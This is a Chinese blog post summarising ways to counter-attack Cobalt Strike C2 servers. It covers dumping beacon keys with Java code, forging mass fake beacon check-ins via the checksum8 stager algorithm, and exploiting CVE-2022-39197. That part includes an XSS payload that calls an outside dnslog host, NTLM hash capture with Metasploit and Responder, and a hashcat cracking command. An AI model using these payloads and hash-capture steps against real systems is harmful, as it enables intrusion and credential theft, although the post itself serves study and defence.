美文网首页应急响应收藏
Cobaltstrike反制方法小结

Cobaltstrike反制方法小结

作者: book4yi | 来源:发表于2022-09-27 22:53 被阅读0次

    本文仅作为学习记录,如有侵权,请联系删除!

    0x01 批量伪装上线:


    以HTTP Beacon为例,在CS的上线过程中,有一串很明显的加密Cookie,是非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密,实际情况里我们并拿不到

    可以利用以下代码来提取Private Key与Public Key:

    import java.io.File;
    import java.util.Base64;
    import common.CommonUtils;
    import java.security.KeyPair;
    
    class DumpKeys
    {   
        public static void main(String[] args)
        {
            try {
                File file = new File(".cobaltstrike.beacon_keys");
                if (file.exists()) {
                    KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                    System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                    System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
                }
                else {
                    System.out.println("Could not find .cobaltstrike.beacon_keys file");
                }
            }
            catch (Exception exception) {
               System.out.println("Could not read asymmetric keys");
            }
        }
    }
    

    把这个java文件放置在CS服务器的CS文件夹下,在JDK11版本下运行:

    java -cp cobaltstrike.jar Dumpkeys.java
    

    继续沿着思路展开,数据包中的核心是加密后的Cookie,那么我们能否进行伪造,达到假主机上线的效果。

    上线包的请求Cookie值是受控主机元数据经过非对称加密后的密文,CS服务器接收到Cookie值后进行解密从而获取到受控主机信息。受控主机元数据包含了若干敏感信息:

    HTTP型Beacon 上线包的核心在于Cookie,Cookie是对受控主机元数据的非对称加密的密文

    一般攻击者会自定义Malleable C2 Profile修改默认流量特征,这里以jQuery为例,尝试通过重放数据包,观察Server是否成果响应了我们的请求,last是否被重制为1s

    但这里有个限制,只能伪造已经上线的主机,不能伪造新的受控主机。但若我们了解上线的整个过程,数据是如何被加密的,就有可能在短时间内大量伪造假主机上线。

    以Stager型Beacon为例,回顾下CS上线流程:

    • 攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
    • 攻击者投递Stager到受控主机;
    • 受控主机在Exploit阶段执行小巧的Stager;
    • 受控主机根据Stager Url请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验Url的合法性;
    • Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
    • Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
    • C2 Server用私钥解密数据获取主机元数据。

    其中核心在于两个部分:Stager Url校验算法Beacon配置的解密算法

    • Stager Url校验算法:

    关键函数包括:checksum8、MSFURI、isStager
    MSFURI函数从大小写字母+数字的字符数组中随机指定长度的字符序列并调用checksum8函数计算字符序列的ASCII和与256的模是否等于固定值(32位Stage与64位Stage分别使用92、93作为固定值)

    也就是说,我们可以通过生成4位的随机校验码,通过checksum8算法获取文件,这里以7vv9为例:55+118+118+57-256=92

    • Beacon配置的解密算法:

    利用以下几个项目进行解密:
    https://github.com/Sentinel-One/CobaltStrikeParser
    https://blog.didierstevens.com/2021/06/15/update-1768-py-version-0-0-7/

    Public key别忘了要删点后面的无效Padding
    正确的格式是MIGfXXXXXXXXXXXXXXXX==,后面那一堆AAAAA要删掉
    注意:第二个项目解出来的是十六进制字符串,无法还原成原始字符串,菜是原罪

    从解密数据中获取到PublicKey和C2 Server地址

    最后就是伪造上线了,利用项目地址:
    https://github.com/LiAoRJ/CS_fakesubmit
    https://github.com/hariomenkel/CobaltSpam

    由于红队会使用各式各样的C2 Profile来混淆通信流量,需要根据捕获到的C2上线流量或者根据Beacon配置解密信息对代码进行适当修改,以jQuery Profile为例,需要对请求头进行补充:

    实战环境下可以写循环语句,不停模拟上线操作,让攻击者即使能够上线也无法执行命令

    实现效果图:

    • 红队防御措施:

    修改CS代码上述2种算法的逻辑,阻止虚假主机上线和C2挖掘

    0x02 CVE-2022-39197:


    该漏洞允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行。

    影响版本:Cobalt Strike <= 4.7

    漏洞的本质是swing html的问题,在内容的开头插入<html>标签后续的内容就会被格式化为html文档进行解析,但很多标准标签在swing这个场景里或多或少都受到一些功能限制

    利用上述的CS伪造上线的脚本:CS_fakesubmit
    把user字段改为<HTML><IMG SRC=http://xxx.dnslog.cn/1.jpg>,当图片不在的话,就会显示断裂

    补充:还会存在一定的拒绝服务的效果,攻击之后再操作CS客户端会非常卡

    这里利用的话可以通过劫持ntlm-hash,然后利用hastcat等工具破解密码,以MSF为例:

    use auxiliary/server/capture/smb
    run
    

    发送payload后,成功获取到ntlm-hash:

    以Responder为例:python3 Responder.py -I eth0,成功了一次,后面都失败了。。。

    hashcat破解成功获取密码:hashcat -m 5600 SWS::SWS-PC:303b0cd3404fabc9:8cd2c75c6ebe62df193c9fc5b0..... pass.txt

    后续在VPS上复现的时候,发现国内厂商基本都禁止445端口开放到互联网,尝试本地端口转发也不行,那么劫持ntlm-hash这条路似乎就走不通了,萌新求带

    参考如下:


    反击CobaltStrike(一) 以假乱真 - SecPulse.COM | 安全脉搏
    奇安信攻防社区-CS反制之批量伪装上线
    cobaltstrike RCE-part1
    域内窃取哈希一些技术

    相关文章

      网友评论

        本文标题:Cobaltstrike反制方法小结

        本文链接:https://www.haomeiwen.com/subject/gwqtartx.html